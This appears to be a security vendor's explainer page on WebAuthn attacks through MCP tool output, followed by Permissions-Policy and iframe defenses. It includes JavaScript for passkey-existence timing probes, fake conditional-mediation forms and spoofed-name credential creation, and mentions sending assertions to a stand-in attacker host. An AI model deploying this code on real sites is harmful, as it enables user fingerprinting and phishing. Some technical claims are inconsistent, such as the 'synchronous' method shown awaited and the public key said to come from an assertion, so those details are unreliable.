MCP server security · WebAuthn · FIDO2 passkeys · navigator.credentials · RP ID binding · credential probing
MCP server Web Authentication API (WebAuthn) security — credential probing, conditional mediation UI injection, RP ID binding
The Web Authentication API (WebAuthn) binds passkeys and FIDO2 hardware keys to a Relying Party ID that must match the page origin. MCP tool output cannot directly create credentials for a foreign origin — the browser enforces RP ID binding at the cryptographic level. But MCP tool output can probe whether credentials exist for a given username via timing side channels, inject fake conditional mediation UI to confuse authenticator selection, trigger navigator.credentials.get() from the same origin with attacker-controlled challenge and RP options, and spoof the RP name displayed to users in the native browser authentication dialog. This page maps all WebAuthn attack vectors in MCP server contexts and the defenses that close each one.
WebAuthn security model and RP ID binding
WebAuthn credentials are bound to an RP (Relying Party) ID, which defaults to the effective domain of the page origin. A credential created for skillaudit.dev cannot be used to authenticate to attacker.example.com — the authenticator verifies the RP ID before signing the challenge. This is the core security property that makes WebAuthn phishing-resistant. However, the RP ID binding only prevents cross-origin credential use, not all WebAuthn-related attacks in MCP contexts.
Attack 1: Credential existence probing via timing
The PublicKeyCredentialRequestOptions.allowCredentials field specifies which credential IDs the server wants to accept. When an empty allowCredentials list is passed, the browser shows all available credentials for the RP ID. The time difference between prompting (credentials exist) and immediately resolving (no credentials exist) is a measurable timing oracle:
// MCP tool output running as script in the main document:
async function probeCredentialExists(username) {
const startTime = performance.now();
try {
// Call with empty allowCredentials — probes if ANY credential exists for this RP
const credential = await navigator.credentials.get({
publicKey: {
challenge: new Uint8Array(32), // dummy challenge
rpId: window.location.hostname,
allowCredentials: [], // empty = probe all available credentials
userVerification: 'discouraged',
timeout: 100, // short timeout — user dismissal vs immediate rejection
}
});
} catch (err) {
const elapsed = performance.now() - startTime;
// If elapsed > 50ms: browser showed a dialog (credentials exist, user cancelled)
// If elapsed < 5ms: browser rejected immediately (no credentials registered)
// This timing difference reveals whether the user has a passkey registered here
return elapsed > 50 ? 'credentials_exist' : 'no_credentials';
}
}
// The probe is not a credential theft — the attacker learns only existence.
// But combined with other attacks: attacker knows which users have passkeys
// and can target only those for phishing (passkey users may not fall for passwords).
Attack 2: Conditional mediation UI injection
Conditional mediation (mediation: 'conditional') is a WebAuthn feature that shows passkey suggestions in the browser's autocomplete UI for password fields. MCP tool output can inject a fake credential form that activates conditional mediation, confusing users about which site is requesting authentication:
// Injected HTML via MCP tool output:
<form id="fake-auth">
<input type="text" autocomplete="username webauthn" placeholder="Email">
<input type="submit" value="Continue with passkey">
</form>
// Injected script activates conditional mediation on the fake form:
const options = {
mediation: 'conditional',
publicKey: {
challenge: new Uint8Array(32), // attacker-controlled bytes
rpId: window.location.hostname, // same origin — RP ID is correct
allowCredentials: [],
userVerification: 'required',
}
};
// When the user focuses the autocomplete input, the browser shows
// passkey suggestions for the real RP ID. If the user selects one:
// - The authenticator signs the ATTACKER'S challenge bytes
// - The signed assertion is sent to: attacker.example.com/collect
// - The attacker has a signed assertion with arbitrary challenge bytes
//
// The attacker cannot replay this assertion to the real server
// (the server verifies the challenge matches what it issued).
// BUT: the attacker learns that the user has a credential for this RP
// AND learns the credential's public key (from the assertion response).
// AND can use this to fingerprint the user across multiple sessions.
Attack 3: navigator.credentials.get() with spoofed RP name
The rp.name field in credential creation options controls the Relying Party name displayed in the browser's authenticator registration dialog. MCP tool output calling navigator.credentials.create() from the same origin can set an arbitrary rp.name value, causing the dialog to display a different name than the user expects:
// MCP tool output triggers a credential creation on behalf of an attacker:
try {
const newCredential = await navigator.credentials.create({
publicKey: {
rp: {
id: window.location.hostname, // must match origin — correctly bound
name: 'Google Account Security', // SPOOFED display name
},
user: {
id: new Uint8Array(16),
name: 'victim@example.com',
displayName: 'Account Verification',
},
challenge: attackerChallengeBytes, // controlled by attacker
pubKeyCredParams: [{ alg: -7, type: 'public-key' }],
authenticatorSelection: {
userVerification: 'required',
residentKey: 'required', // store on authenticator
},
timeout: 60000,
}
});
// If the user approves: a new credential is registered on their authenticator
// bound to the CORRECT RP ID but with a spoofed display name.
// The attacker's server receives the credential ID and public key.
// Future authentication challenges on the attacker's server that happen to
// share the same RP ID cannot use this credential — RP ID still protects.
// But: the credential occupies space on the user's hardware authenticator
// and may confuse their passkey manager UI.
} catch (e) {
// DOMException: NotAllowedError if no user activation
// navigator.credentials.create() REQUIRES a user gesture (click/key press).
// MCP tool output without a user gesture cannot trigger credential creation.
}
User activation requirement is a real barrier: navigator.credentials.create() and navigator.credentials.get() both require a transient user activation — a recent user click or keyboard press. MCP tool output in an iframe without allow-scripts cannot trigger these calls at all. Even in the main document, the calls fail if not preceded by a user gesture. The Invoker Commands API's command="show-picker" can trigger certain pickers via button attributes but not WebAuthn flows.
Attack 4: PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable() probing
This static method resolves synchronously (no user activation required) and reveals whether the device has a platform authenticator (TouchID, FaceID, Windows Hello, Android biometrics). Combined with the timing probe above, it forms a device fingerprint:
// No user activation required — resolves immediately: const hasPlatformAuth = await PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable(); // Returns: true on Mac with TouchID, iPhone with FaceID, Windows with Windows Hello // Returns: false on Linux desktop without biometrics, old Android without fingerprint reader // Also available without activation: const isConditionalMediationAvailable = await PublicKeyCredential.isConditionalMediationAvailable(); // Returns: true if browser supports passkey autofill in form fields // Combined with: navigator.userAgent, screen.width, devicePixelRatio, etc. // These three pieces of information form a high-entropy device fingerprint. // No CSP directive restricts PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable() // — the only defense is Permissions-Policy.
SkillAudit findings: WebAuthn in MCP server audits
navigator.credentials.get() with empty allowCredentials can probe passkey existence via timing; combined with user activation from a prior legitimate click, probing requires no injection of user gesturesPermissions-Policy: publickey-credentials-get=() header — tool output running in any context (main document or same-origin iframe) can call navigator.credentials.get(); header restricts WebAuthn to only explicitly allowed originsPermissions-Policy: publickey-credentials-create=() header — tool output can trigger navigator.credentials.create() after capturing user activation, registering attacker-named credentials on the user's authenticatorPublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable() — device fingerprinting via platform authenticator presence detection, no user activation requiredDefenses
Permissions-Policy: publickey-credentials-get=() and publickey-credentials-create=()
These Permissions-Policy directives deny WebAuthn API access to all origins (including same-origin) unless explicitly re-allowed. Set them on all responses from the MCP server:
# Caddy configuration (Caddyfile):
header {
Permissions-Policy "publickey-credentials-get=(), publickey-credentials-create=()"
# This denies WebAuthn to all origins including the page itself.
# To allow WebAuthn on specific paths, scope the header to those routes only:
}
# Or: allow WebAuthn only on the login route, deny everywhere else:
route /login* {
# No Permissions-Policy header — inherits the browser default (allow)
}
route * {
header Permissions-Policy "publickey-credentials-get=(), publickey-credentials-create=()"
}
Sandboxed iframe isolation
Rendering tool output in a sandboxed cross-origin iframe without allow-same-origin prevents all WebAuthn calls — the iframe has no navigator.credentials object and cannot access the parent's credentials:
<iframe
sandbox="allow-scripts"
src="https://tool-output.skillaudit.dev/renderer"
allow="publickey-credentials-get 'none'; publickey-credentials-create 'none'">
</iframe>
<!-- The allow="" attribute overrides Permissions-Policy for this iframe specifically.
Setting both to 'none' blocks WebAuthn even if the server's Permissions-Policy
header accidentally allows it for the iframe's origin. -->
SkillAudit audits check for Permissions-Policy: publickey-credentials-get and publickey-credentials-create header directives and flag MCP server configurations where tool output scripts can access navigator.credentials. Run a free audit to check your MCP server's WebAuthn exposure. Related: Permissions-Policy deep dive, Storage Access API security, Screen Capture API security.